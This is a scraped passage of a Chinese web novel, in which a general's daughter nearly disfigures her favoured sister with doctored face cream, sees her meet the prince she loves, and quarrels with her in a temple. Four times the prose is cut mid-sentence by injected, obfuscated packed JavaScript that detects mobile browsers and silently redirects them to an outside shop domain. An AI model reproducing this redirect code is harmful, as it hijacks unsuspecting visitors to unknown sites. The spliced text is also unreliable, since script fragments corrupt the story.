;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963679|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花瓣般被撩动。 她稀里糊涂说了声“我还有事要忙”,就飞快走远了。 水央抱着衣服赶上来,看出小姐情绪不佳,也不敢多话。 余菀意不喜欢猫,与祖母相伴时,一次剃净鱼鳞,遇天色昏沉,出去收衣裳,回来鱼被一只狸花野猫叼走了。 她为此跟那只猫爬树,最后鱼没夺回来,还挨了一爪子。 因身体没好全,余菀意依旧单独用饭。将军心疼女儿,睡前过来看她,见其脸色不见好转,心里又急又疼。 陪行的姚氏说道:“菀意不要想太多,自在些,这儿就是你的家,有什么需要尽管同我和老爷说。” 经过一段日子相处,余菀意和他们熟络了许多,想起白日街上所见,她暗暗思索起来。 换做其他姑娘,或许会扭捏一下,但余菀意豁出去了, “爹,我今日外出见到齐允来的那位公子......” 她的耳根子逐渐变红,谈论起那公子的好,姚氏猜出她的想法,转头看向老爷。 余将军同样明白了,算来阿圆今年及笄,是能谈婚论嫁了。她这个年纪的姑娘,心里多少装着些风花雪月的事。但他们父女刚团聚,他还想把女儿留个两三年,再不行,招个上门夫婿也成,只是阿圆有自己的心意...... 将军皱着浓密的眉毛,对象是齐允人,他当即摇头否决了。 余菀意深感不解,将军之前夸赞过公子延卿若非病魔缠身,将来必有一番作为。况且以她所见,车上的公子墨发飞扬,皮肤是白皙了些,但绝不像外边传得那么病弱。 “阿圆,我们分别数年才相见,你若跟了那位,日后去了齐允,爹实在放心不下!” 将军担忧她远嫁,目前虽在王城,但未来的去向,谁说得准呢? 余菀意不以为然。公子延卿不得生父喜爱,戊斯国主对他万般体贴,或许他会乐不思蜀,决定久居于此。 将军摆手,不再听她赘述。为打消她的念头,将军夫妇回房后便商议女儿的婚事。 将军原就有个人选,是陶大人家的二郎。他随陶父出入营中,也算将军看着长大的。 陶二郎性格老实内向,样貌周正。今年十七,在营帐里担任文职。阿圆没来前,将军本打算将琼儿许给他,不过现在改变主意了。 将军托姚氏去当说客,阿圆定是见过的男儿少,才会对公子延卿产生浅薄无知的想法。没关系,陶二郎出类拔萃,让两个孩子见见面,一定能让阿圆改观。 姚氏暗暗叫苦,老爷想的主意却让她去说。届时好的坏的,都怪她身上。可将军求了半天,没办法,她只好夫唱妇随。 余菀意未得到长辈的赞成,也并不气馁。“爱慕”是人之常情,她明白有些东西是要自己去把握和争取的。 话虽如此,可翩翩公子立云端,若她是出彩的女子,就不必畏首畏尾。而她只是前不久学了几个字,知道些礼数教养罢了。 眼见病好得差不多,她再次恢复上进之心。 她休学的这段日子,马夫子只教余小郎君。重回书房那天,小弟还破天荒问她好些没有?这让余菀意很是意外。殊不知小弟的关心是因为她不在,马夫子只抓他一个人学习,真当苦闷极了。 马夫子念她身体刚好,只让她复习。余菀意却主动请求,希望再多学点儿东西。 夫子为此多看她两眼,要说用功,余菀意是不差的,教给她的东西,她都用心对待,就是急功近利了些,基础没搭牢,就想着造房。 于是散学时,他将人留下,作为师长嘱咐几句,万事需留心,欲速则不达。 余菀意并未觉得自己不对,为了赶上别人的进度,她求知若渴有什么不对?学习是件艰苦的事,她那十几年空白的人生落下太多东西,她没法松懈自己。 檐下风铃轻晃,她提笔练字,姚氏不知何时进来,委婉地请她出门相伴。 余菀意有些迟疑,姚氏也心慌着呢,躲着不看对方的眼。可老爷交代的事,她总得着心,虽然此举更像是行拐骗。 “莞意,我午后约了陶夫人见面,你见过她的,上回老爷寿宴,她就坐我旁边。我想你下午没事,就随我一同去吧。” 余菀意自然领情,心想夫人一定是为了照顾她心情,才想带着她去社交散心。 姚氏宽慰地笑了笑,见她在家穿得随意,还叮嘱最好换一套。姑娘家打扮得光鲜亮丽,出门也开心。 11. 真心何以断相思 陶、余两家男丁同在营中做事,久而久之,两家的妇人也有交往。 陶大人身在军营,但非武将,而是行政大臣。余将军想招陶二郎为婿,陶家何尝没有想法?所以当姚氏发出邀请,并点明会带女儿前来,陶夫人一看就明白意思,欣然接纳了。 沁香阁的走廊上,姚氏携余菀意边走边道:“待会儿进去你不必紧张,都是自家相熟的长辈,就算说错话也没关系,陶家人性格温和,十分好相处。” 余菀意有些不解,紧不紧张,她来就是做个伴啊。 茶室的房门是推拉式的,引客的小二敲了敲那扇百花门,室内传出一声:“快快请进!” 门被拉开,有个白胖女人从蒲团上站起,道:“你们可算来了,我刚还和二郎念叨呢!”她呼应儿子说:“阿诚,快来见过余伯母,还有余......余妹妹。” 上回余府寿宴,陶夫人只在余菀意初次露面时瞧了一眼,印象不深。不过看将军夫人的亲切程度,想必自己没喊错人。 只是来的怎是这位姑娘?初琼小姐呢? 她担忧地望向儿子,陶二郎从容地对余家人作揖。 余菀意压下心中惊异,姚氏可没和她说除了陶夫人,还有别的男子在。不知怎的,她预感这趟见面恐怕意义非凡。 仲夏将至,沁香阁新上的“红豆冰酥山”成了贵人们的心头好。余菀意没有胃口,她坐于姚氏身旁,在后来的谈话中,专心当一件摆设。 姚氏屡次看她,她表现木讷,完全没有参与的念头。因此姚氏只好和陶夫人多提二郎,问其最近在做什么?或是看什么书? 陶二郎秉持良好的教养,回回礼貌接话。 这一点让姚氏很是欣赏,心想夫君真没看错人。 然而余菀意多想说,这场相见是在浪费时间。 从陶二郎看她的一眼,她就清楚了——短暂的惊讶,而后掠过一丝失望,怕被人看出端倪,又赶忙换上笑脸。 呵,可是她知道,她什么都知道。 陶二郎惊讶——因为来的人是她,陶二郎失望——因为来的人不是余初琼。 算了,反正她也没抱什么想法。 万幸姚氏只有“尝试”的心思,察觉两个孩子心不在此,后来这场邀约也名副其实成了两位夫人的家常谈笑。 陶二郎因中途有事,还提前离场了。余菀意走不得,默然坐到结束。 “余夫人,下回什么时候带初琼小姐出来叙叙?寿宴上的长白松,我家老爷回去跟我念叨许久,不知在哪儿得的,届时阿诚也好偷懒抄一份孝心。” 告别时,陶夫人有意无意说起这话,没有挑明,但已暗示陶家看上的是余初琼。 姚氏紧张地看余菀意一眼,见她没什么反应,竟松了口气。但日后再想请她出去玩,怕是不能够了。 夜里姚氏跟将军汇报白天的成果,还不住叫冤呢。将军道歉许久,夫人才肯揭过篇章。 陶二郎确实是个出色的男儿郎,但在余菀意心里,始终不如公子延卿。她知道长辈的用意及苦心,只是让她移情别恋,没有那么轻易。 此次茶室相会并非一无所获,起码给了她一个提醒,让她明白自己的处境。有那么个天仙似的妹妹在,她永远只能当陪衬。 这回的陶二郎是如此,那公子延卿呢?公子延卿也会拜倒在余初琼的石榴裙下吗? 事情还未发生,余菀意就先胡思乱想。她费劲精力,提升自己,就是为后日的宫宴“凌延卿在场”而做准备,但明显现在有个更大的麻烦。 她忧心忡忡,回来无意瞥见桌上的润面玉露。 盒上的图案美轮美奂,有心人将嫦娥衣袂飘飘,不食人间烟火的形象勾勒得淋漓尽致。 她的目光凝滞在面霜上,沉默良久。 宫宴这天,将军早早歇在家中。 余菀意抛开前天在茶室的不悦,认真装扮自己。 按水央的提议,淡雅的服饰搭配匣中的花钗,呈现小家碧玉的模样。就是太素雅了,加之她的长相不太出众,于是又埋头翻找满匣的首饰,取了一支描金蔷薇钗戴上。 此次进宫无比重要,她望着镜中人出神,祈祷凌延卿也能一眼相中她就好了。 余府马车前,余菀意姗姗赶来时,余初琼已和将军夫妇站在一起。 姚氏没怪她磨蹭,但瞥见她头上的富贵金钗,有所怔愣。姑娘家喜好华贵是常理之情,但姚氏让小姐们打扮朴素,自是有不得已的苦衷。 这趟赴宴,朝中多位臣子避之不及,借口说家中女眷吃坏肚子的也有,去走远亲的也有。 国主听了冷笑,他难道不清楚臣子们的心思?无非就是怕他看上了哪家贵女,当场下令赐婚罢了。于是发话:“身体不适的,我宫中有御医,走远亲的,我宫中有快马!”总之这场宴会,诸位务必参加。 姚氏哪看不出女儿家的心思?但由于上次和陶家那事儿,夫人这回只得多依着她。 余家启程之时,将军本想骑马,但最后还是跟抱着儿子的夫人同坐一辆,两位小姐则共乘后面那辆。 如果还有别的选择,余菀意断不想跟妹妹同坐,只要一靠近她,内心就不可控制地做起比较。相比自身一袭水青色,余初琼一件花边琥珀色暗纹的小衫,明明很低调,但总是让人想多看两眼。 余菀意无法否认她的光华,只好望着车外的风景,莫去关注她。 夜色降临,街边升起了一盏一盏的明灯,商贩们开始忙碌。 原以为能静坐到终点,余初琼却反过来招惹她,问:“姐姐在看什么?” “没有。”余菀意下意识否决,“我只是觉得外面很热闹。” 余初琼点点头,说:“既如此,改日我请姐姐去坐画舫如何?就去西子玉湖,湖边碧柳垂条,水间天鹅成群。” 她尽可能将游湖之事描绘有趣,但在别人眼里成了某种“炫耀”。 余菀意盯着她,似在思考。车外的光线落在她脸上,随着车马时有时无。 余初琼耐心等候回应,等了许久,却换对方道:“说来先前我出去逛游,兴起看中了笑春风的东西。” 思量再三,余菀意终是取出袖中之物:“我还是用不惯这东西,买来白白放桌上积灰,所以......”为了征求余初琼的同意,她语气转而温柔道:“你如果不嫌弃的话,那我转赠给你好吗?” 余初琼有些意外,余菀意已经打开盖子,一股花香扑面而来。 “我帮你抹上看看?” “......好。” 也许姐妹两人会因此而和睦,余初琼想也没想就同意了,殊不知对方另有所图。 余菀意面带微笑,在指上刮了些玉露,便轻捧余二小姐的脸,让其闭上双目。 这个决定,自她从见过陶家人,便默默做下了。 群臣家眷中不乏有貌美女子,此次赴宴,余菀意能排第几,她不知道。但她知道只要余初琼在,就没有她的出头之日。 余二小姐的光辉太过盛大,而她亦不想再经历寿宴那日的挫败。此举虽不太仁义,但事后让她道一万句歉都愿意。 只要过了今晚。 指尖离那张脸蛋越来越近,余菀意兴奋若狂。 余初琼深信不疑,过程未睁开一丝缝隙。可等了好长一会儿,脸上迟迟没有动静。她满怀疑问地看去,正好和姐姐四目相对。 余菀意一惊,整盒玉露落地。盖子摔歪了,嫦娥画像也污浊了。 余初琼问她怎么了? 是啊,她怎么了。 将要得逞时,余菀意眼前忽然闪过祖母唉声叹气的脸,可是余初琼和祖母长得一点都不像! 那个和善的老人家,总唠叨“行善积德”,可她亲手养大的孙女在做什么?! “......看来我的病还未彻底康复吧。”余菀意神色落寞,地上的玉露沾了好些尘土。 别人想追问,她就把头朝向窗外,好像真因身体不适,拒绝交谈。 余初琼不再打搅,心里却感觉莫名其妙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963680|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 车厢内视线昏暗,她看不到余菀意捂住嘴,默默流泪。泪水顺着脸庞滑落,这是她第一次行恶,本想借加了料的玉露,暂毁余初琼的容。当她真要成功了,又猛然醒悟。 她怎么能为一己之私而变成蛇蝎心肠?!嫉妒冲昏头脑的感觉,实在是太讽刺了。 马车驶入宏伟的王宫,宫内每隔十步就点了灯,每隔两盏就站一位宫娥。灯中火苗将周围景物照得清清楚楚。 余家人在宦官的引路下,进入殿内。 将军性情豪迈,说话豪爽,路遇其他大臣,会热情地打声招呼。 “老高啊,你胡子该修修了,今天这身打扮谁出的主意?怎么有些显老啊,你母亲都穿得比你鲜丽呢。” “什么?这是你夫人啊......不好意思,真不好意思!” 姚氏暗暗白了一眼,老爷还揶揄她们女人家最喜欢聊天扯闲,现在可不在打自己的脸? 入了内殿,余菀意已好了许多,进来后左顾右盼追寻凌延卿的身影。只可惜一通眺望,还是一无所获。 大概时辰尚早吧,她整了整衣裳,挨着姚氏坐下。 殿内陆陆续续进来人,每一个,她都会伸着脖子认真观望。然而直至戊斯国主露面,都没见公子延卿到来。 国主年近五十,身侧伴有贤妃,其相貌娇俏,虽无惊人的来历,却长久占据“宠妃”的头衔。二人站在一处,可谓老夫少妻。 宫廷乐师开始吹拉弹唱,公子延卿没有现身,余菀意便心不在此。 国主让群臣不必拘礼,就当是寻常宴席,可谁又敢真正放肆?直到后来,贤妃称有些抱恙,国主关心几句,贤妃与他低声说了几句话。不知说了什么,国主面色大喜,复问真假? 贤妃害羞地低下头,国主将她搂在怀中,念及爱妃不适,便要陪她回寝宫。但为了不扫众人的兴,叮嘱殿内的宴会可以继续。 国主一走,在场之人方感到一阵轻松。 席间觥筹交错,言语欢畅。女眷们喝着果酒,有说有笑。 姚氏与其他夫人闲谈,余菀意却苦着一张脸。 姚氏对她道:“莞意第一次进宫肯定觉得新鲜,若是好奇,大可在周围走动,只是切莫走远了。” 余菀意在这儿没有结识的朋友,去外头转转也好。水央想跟着,但被拒了。 夜晚的王宫宁静非常,白玉铺成的石阶在这光线下闪着温润的光泽,目光所及都体现王室的尊贵。 她看什么都新鲜,一不留神绕过好几座宫殿,不晓得摸到了什么地方,僻静得都没见到宫人来往了。 夜风袭人,吹得她颤了颤身。她绕过东墙又摸回西墙,总觉得这些地方她刚刚走过一遍,想再直行一段看看,听见斜方的树丛后,似乎有人交谈。 她大喜过望,循声摸索过去,在横生的绿丛后,竟站着一男一女。 彼时她虽单纯,但也知宫门庄严之地,孤男寡女在此,不是幽会还能是什么?并且她那教导嬷嬷对这种行为十分鄙夷,第一天授课时就强调了。 要不扭头就走?余菀意纠结了下,来都来了,躲在远处看看应该没关系吧? 高大的枝叶将她完美遮蔽,她打定主意,要看看那对野鸳鸯是谁。 远处的池边,有婆娑树影。柔和的月光打在那女子身上,余菀意屏息凝视,片刻便猛地瞪大双眼。 那人一身琥珀色暗纹衣裙,头顶的凌虚髻上,碧玉步摇轻轻晃动。尽管没看见正脸,但这副打扮无一不在警醒余菀意,这是余初琼! 好啊,她都没注意余二小姐什么时候离席的,原当她和陶夫人去扯话了,竟是溜到这儿来! 看一个是看,看两个也是看。余菀意心口狂跳,好奇何等人物会引余初琼前来相见? 她全神贯注盯着那个男人,可怜她眼睛都快发酸了,还看不见正脸。不知有意还是无意,他一直背对着自己。 几声乌啼过后,那人终于侧过身,如水的月光洒在他身上,静静为他镀了一层浅薄的银光。 12. 殷殷切切一场空 他的样貌终于落入她的双眼。 那是......凌延卿?! 余菀意捂住嘴,公子延卿不来宴会,怎在此地和余初琼相会?! 她的耳朵嗡嗡作响,全身好似被抽干力气,连那对人何时悄然离去都未曾察觉。 她的心意凋零破碎,她不知道他们怎么相识的,竟还躲过众人耳目,约在池边见面。 难道他们早已情投意合,私定终身...... 无论主动还是被动,有意还是无意,余初琼为什么总能坏她心情? 她忘了自己最后是怎么回去的,水央找来时,她缩在一角,神情分外憔悴。 余初琼早回到双亲身边,她白璧无暇,清纯可人,即便前一刻还在与人私会。 余菀意气色很差,姚氏问她有没有不舒服的地方?将军更是父爱冲头,嘴巴像珠帘炮似的,关心的话语一句接一句。 “......我没事。”余菀意头痛无比,懒于应付便钻进了马车。 回程的路上,两位小姐依旧一起,只是她们再无交谈。 余菀意靠在车厢,心里难受得紧。 府里的人说,她的生母杨氏是个美丽女子,身为女儿,她却平平无奇。 她从前不在乎外貌,在山村生活时,邻居们倒说她跟祖母长得相像,或许她更适合待在那里? 不不不,余菀意很快清醒过来,她不能回去,她的亲人在这儿!因为一个外人,她难道就要放弃来之不易的亲情吗? 这晚,她回来后什么都提不起兴趣,睁着眼皮熬到后半夜才入眠。 睡意浅浅,可她还是做了梦。 梦中她与凌延卿乘舟泛湖,那湖水碧波浩渺,岸边碧柳垂条,水间有天鹅成群。 水上小船悠悠,她在这端吃核桃酥,他在那端阅卷。梦里春光明媚,哪怕有她在旁,岸上也不乏女子对他抛去媚眼。 余菀意有些生气,好在凌延卿始终没看她们一眼。 船入荷花群中,他唤了声“阿圆”,随手折了株花儿送她。 余菀意红着脸,清澈的湖水倒映出他们的容颜。 水中的女子身着琥珀色的小衫,眉似春柳,面如桃花。 余菀意瞪大眼睛,有种说不出的惊恐。这哪是她的影子?这分明是余初琼的样子! 凌延卿依旧笑着,笑得春风和煦,艳阳高照。 余菀意焦灼大喊:“这不是我的脸!这不是我的脸!” 一慌张,她失足跌落水里,鱼儿四下逃散,水中冰冷刺骨。 她拼命地扑腾求救,凌延卿像是没看见似的,袖手旁观。 她绝望地看着天空,感受自己的脑袋被淹没,然后是求救的手也被淹没。湖里纤长的水草,一根一根地缠绕她的腰,把她往又冷又黑的水底拖去。 “轰隆隆”外面一声响雷将她从噩梦中救出,她大汗淋漓地醒来,一遍又一遍摸自己的脸,确认一切都没发生改变。 自这晚过后,余大小姐的病情加重了。刚断了的汤药,再次续上,不知是医她的心病,还是治那晚的心惊。 将军挂念,但最近营里来了批新军,是世家子孙。他连着数日早出晚归,女儿只能让夫人多多费心。 养病期间,余菀意不爱走动,就待在小院里,教她的老嬷嬷也因年纪大回乡了,她就从夫子那儿讨来书册,每天翻看。 这日一边看书,一边有些昏昏欲睡,门外一小厮赶来,说外头有人求见,自称是小姐的旧相识,赖着不走。 水央不悦道:“王福,你没见小姐要静养吗?什么旧相识能从山村赶到这儿?” 况且就算故人重逢,那人又怎知小姐是将军家的千金? 王福挠挠头,点头哈腰道:“是是是,水央姐说的是,小人一时心软才进来通报,我这就把她赶走。” “等等!”余菀意感觉不对,喊住小厮,问那人有说自己叫什么吗? 王福想了会儿,说道:“呃,她好像说自己叫什么喜,二喜还是两喜。” 余菀意突然站起身,膝上的书册被撩落在地,她高声道:“快请人进来!” 那人不叫“二喜”,也不叫“两喜”,而是李阿圆在村里的玩伴“周良喜。” 但当小厮把人带到跟前,余菀意差点认不出她。 周良喜喜极而泣,说道:“阿圆,阿圆,我终于找到你了!” 她们抱在一起,竟然一同哭了一场。 余菀意问她怎么变成这副样子?周良喜缓过一口气,擦了把脸上的辛酸泪,说起遭遇。 她也是个苦命人,自幼随母亲从外地搬来村里,母女俩平时种点蔬菜果子,日子不富裕,但也不会饿着自己。 余菀意被接走那天,周良喜和母亲“崔氏”还在隔壁镇卖果子,刚换了一些钱,还没捂热,生父就找上门来了。说他欠了钱庄一笔钱,要把女儿抵给当铺,生拉硬拽,场面相当难看。 邻居们围在院里,这一闹,大家就都知道为什么崔氏一个妇道人家,当初会独身带着孩子远走他乡。 她命苦,嫁了个酒鬼丈夫,酗酒不说,喝多了还打人,崔氏不敢反抗,他更肆无忌惮了,有时清醒也会拿扫把棍揍人。 崔氏只能抱着女儿连夜逃跑,本来相安无事过了十几年,也不知周父哪得来的消息,摸到崔氏现在的住处。 崔氏当然不肯把女儿抵给钱庄,平生以来,她第一次直起腰板朝丈夫喊:“你凭什么这么作践我们娘俩?阿喜养这么大,你有出过一份力吗?你个丧尽天良的畜生!老天迟早......” 话还没说完,她就狠狠挨了丈夫一巴掌,嘴角直流鲜血。她死命拖住丈夫,喊女儿快走。这推搡之下,脑袋便撞了墙,醒来成了傻婆娘。 周良喜跑得快,之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963681|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和娘卖果子,都靠她从家到集市的路上往返。周父没能追上,只好把傻婆娘抵给当铺,还将母女俩的住处抵给村里换钱。 后来有几次,村里人去镇上还看见过崔氏,她蓬头污垢,身上一股臭味,也不知是逃出来的,还是被遗弃的。嘴里咿咿呀呀的唱歌,饿了就抓路上的草来吃。 等周良喜找过去的时候,崔氏已经解脱了,溺亡在河里,尸体飘了一夜。 周良喜和李阿圆同岁,她呜呜咽咽道:“阿圆,我现在只能依靠你了!我没地方去,跟随经商的车队,来到这里。有天在街上看见你买胭脂,怕认错人只敢偷偷地看,后来才找到将军府,知道你是将军家的小姐。阿圆,你能不能被收留我?我可以做你的丫鬟,跑腿卖命我都愿意!” 她跪在地上,乞求昔日好友发发善心。 余菀意大惊,忙将人拉起。 “阿喜,就算你不说,我也会帮你。我那天走得急,自己也没反应过来,没跟你道别一直是我的遗憾。好在,我们还有相见的机会。” 她请水央准备洗漱的水,待收拾干净,又让人去厨房端来吃食。 由于太久没见到像样的食物,周良喜双眼大方光彩,道:“阿圆,这都是给我的?” “嗯,都给你的,你慢慢吃。”余菀意道。 得到好友的应允,周良喜迫不及待地用两只爪子东捞一块,西捞一块,吃得满嘴都是。 等填饱肚子,余菀意带她去见姚氏。 对于周良喜的去留,姚氏没有多言,她高兴还来不及呢,想着有了伴儿,也好疏导余菀意的心病。 两个姑娘同吃同住,周良喜总是很羡慕地看着余菀意。 夜晚,她们还睡一张床,像有说不完的话。 “阿圆,你不知道你被接走没几天,你和李婆婆住的那座老屋就塌了。” 余菀意听闻有些怅然若失,那座土胚房本就不太牢固,她一离开没人住就更荒芜了。倒了也好,它完成了使命。可一想到那是她和祖母住过的地方,多少还有些舍不得。 她的祖母,那个慈祥的老人,满脸的皱纹掉光了牙,却总是会把最好的东西都留给她。 天气渐已入秋,余府的金桂开了一树。院里晾晒的衣裳,傍晚收回去都带有浓郁的花香。 算了算日子,再过两天就是祖母的忌日。 刚来那会儿,她就和将军夫妇说了。 祖母的坟远在山村,下葬时,邻里乡亲让她拿草席一卷就行了,可她不愿委屈祖母,拿出所有积蓄不够,又问乡里乡亲借了些,才备了副薄棺下葬。 她的祖母,一生没享过什么福,离世时,怕孙女以后生活艰难,闭眼时仍眉头紧锁。 虽然现在有了条件,但路途遥远,不便回村里。 姚氏想到这一点,就请远山观立了牌位放在观里。莞意若想祖母了,直接去祭拜就可。 13. 远山观内夜色静然 可那位老人不仅是余菀意的祖母,也是余初琼的祖母。 祭日将近,他们要同往远山观,余菀意再不喜,但也只能点头答应。 抱恙的日子里,两位小姐许久未见。余菀意看见那张脸,便不可控制地想起那晚噩梦。 从将军府到远山观,乘马车约莫半个时辰便能抵达。 余家两位小姐各携婢女前往,本来周良喜也要跟去,但因夜里受了凉,只好留在府里休养。 马车行至山脚停下,古老的道观坐落在一片云雾中,石阶绵延直上,还未踏足,就让人感受到道法的庄严肃穆。 为显信徒的刻苦与虔诚,进观的唯一路径是眼前的层层石阶。 登山对余菀意来说不难,从前她就是漫山遍野地割草挖笋。让她意外的是,余初琼一路爬上来,也能保持以往的风华,接过水囊饮水。甚至察觉到她的目光,还朝她温和一笑。 余菀意索然无味地转过头,看向道观正门。 门外扫地的小师傅放下扫把,去里头通报。 远山观的观主已到古稀之年,但在赶来接待香客时,身体健朗,步履飞快。还热情地问余家小姐,问路上辛苦否? 扫地的小师傅深感不解,余家的将军夫人是观里的忠实香客,观主从没刻意对待,反倒是小姐来了,竟出来亲自相迎。 思绪游离间,小师傅不小心和余初琼对上视线,耳根一红,低下头去,心道罪过。 老观主徐步在前面引路,大堂的案上点着三柱巨大的香火,伴随阵阵敲木鱼声。 祖母的牌位供奉在后堂,来之前,余菀意特意了解过。忌日前夕,亡者家人要留在此地抄写经书,次日参拜牌位时好烧给亡者,祈愿来世顺当。 远山观香火鼎盛,禅房紧张,好在还剩一间。 “一会儿贫道让必诚引路,两位施主就住东院第三间。” 余菀意很不情愿,让她和余初琼同住,不如晚上睡马车。 她再三确认,真当没有别的禅房了吗? 观主彬彬有礼,没有丝毫的不耐烦,他一次又一次微笑回复:“施主,修行者不打诳语。” 观里禅房干净简朴,墙上挂着“静心”的字画,里面除了一床一桌,再无其他。 余菀意如焉了的白菜,余初琼默默收在眼里,她没有开口,只让丫鬟将行李收拾妥当。 观里的斋饭是普通的两菜一汤,清汤寡水。水央心疼小姐,她们不是来修行的,就不必守清规戒律,趁现在还早,快下山去买只烤鸭来。 余菀意连忙拦下,少吃一顿肉有什么要紧的?进了这道门,就要入乡随俗,若在人家地盘上犯规,才是犯了大忌。 她们随便解决了晚饭,当夜就开始磨墨抄书。 在此之前,老观主还提点过,施主从烟火深处而来,抄写前最好沐浴焚香。但令余菀意想不到的是,远山观香客众多,条件却不怎么好,连个正经的澡盆都没有。想要沐浴,只得用一个面盆接水擦身。 水央曾陪夫人到道观祈愿,她一边帮小姐擦胳膊,一边道:“这座道观的供奉的神明是附近最灵验的,不少贵族子弟都爱来这儿参拜,但观主慈悲济世,听说除去日常开支,剩下的都会转捐给需要的人。” 余菀意听着,对老观主多了些敬佩,提出回府那日,包袱里还剩多少银两,也都放进功德箱吧。 抄经书是个苦差事,虽是依葫芦画瓢,但三更半夜的动笔,也颇费眼力。 庙里的凳子硬邦邦,人坐久了就会感觉腰酸背痛。 余菀意还好,在村里,谁家不是搭木头做凳呢?连门前的青石板都可以拿来躺人。 可她余光瞥见余初琼似乎不太习惯,每坐一会儿就要捶打腰背和腿脚。 余菀意轻哼一声,府上的雕花圆凳,铺惯了绣花软垫,余二小姐身娇肉贵,自然受不住苦坐。 她忍不住看人家抄到哪儿了?只见余初琼笔下宣纸干净整洁,字迹娟秀清丽。 好不容易生出得意,一下又被打击。余菀意认识的字不多,写到生字,她只会做足筋骨,照猫画虎地“画”在纸上。而且经书上的字大多生僻,通篇下来,她手上没几个好看的。 夜深人静,主子体谅丫鬟辛苦,叫她们不必再陪,都给打发走了。 余菀意抄得手臂酸疼,也只有余初琼的三分之二多些。她心中不服,抓笔直接写起狂草,沾墨时不小心弄多了,竟污了整张宣纸。 她张大嘴,看着这张“劣迹斑驳”的纸面,有些手足无措。 余初琼安慰她,说是夜深之故,姐姐先去歇息,剩下的她抄就可以。 余菀意却不领情,嘴硬道:“不用了,我睡不着。” 你行,我为什么不行? 她这般坚持,余初琼不会反驳,但在说完这话,桌上的油灯很没出息地灭了。房间陷入黑暗,她们专心抄书,所以没察觉到烛火将尽。 余菀意心神一晃,现在已是丑时,观里的师傅都睡下了,如要敲门讨取蜡烛,未免有些失礼。 衡量利弊,不如停笔休息,明早再赶也来得及。 余初琼这回也没多言,搁了笔就去往榻上。 这招比劝说有用多了,余初琼歇下,余菀意也不会做苦用功的傻瓜。房里只有一张床榻,虽是不愿,但她拗不过困意,想着只是将就一晚,便也躺上去了。 万幸床榻还算宽大,两个姑娘身材苗条,中间仿佛隔了条天河,谁也不越界。 屋外月朗风清,偶尔传来风动树叶的声响,余菀意靠着枕头,将要入眠。 黑暗中,余初琼冷不丁发出疑问:“姐姐,你很讨厌我吗?”声音之平静,心中恐怕早已知晓答案。 余菀意瞬间清醒,却没出声。 余初琼便再次道:“姐姐,我知道你没有睡着。” 联想二人的接触,也没发生过不愉快的事,但余初琼知道,她们有一层隔阂,而且还不深。 她小心翼翼道:“我不明白什么事惹得姐姐不快,我们才见过几面而已。但我看得出来,姐姐对我没有感情,甚至谈得上是厌恶......到底是为什么?” 她说得无辜又委屈,余菀意脸色骤冷,心道白莲就是白莲,三言两语就能把错堆砌到别人身上,于是忍无可忍,回道:“说够了吗?说够了就睡觉,收起你伪善的嘴脸,神明眼下,我不想同你吵架。” 这番话出口,她只觉心里轻快了不少。 余初琼却是一愣,她不死心地追问:“既然开口了,不如将事情都讲清楚。姐姐对我有怨气,是不是?” “......是又怎么样?”余菀意不客气地回嘴,“说出来能改变什么吗?风头都是你出的,好处也都是你拿的,如果你聪明,就该装傻到底。” 余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963682|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初琼被这话呛得久久难以出声,她怔怔道:“姐姐,我从没想过跟你争抢过什么,爹娘最疼的也是你,他们竭尽所能想弥补你的过去......” 这番说辞,就算是真心的,余菀意也听不进去。 余初琼低声道:“姐姐,如果我的出现给你造成了不必要的烦忧,那我向你道歉。” 她想去握对方的手,余菀意无情甩开,道:“你不用假惺惺的,我不吃你这一套!” 黑夜使人壮胆,余菀意索性说个痛快:“是,我是该感谢你在当年那场夜袭上做出的牺牲,可我宁愿是自己留在那里,就算不幸死了,也是我的命!” 余初琼焦急辩解:“姐姐,我没有想要挟恩图报!”。 “你不用多说。”余菀意冷静下来,“你的人生比我幸运多了,从小到大既得到爹娘的疼爱,又有公子的爱慕之心。你不见好就收,反而还来问我为什么讨厌你?” 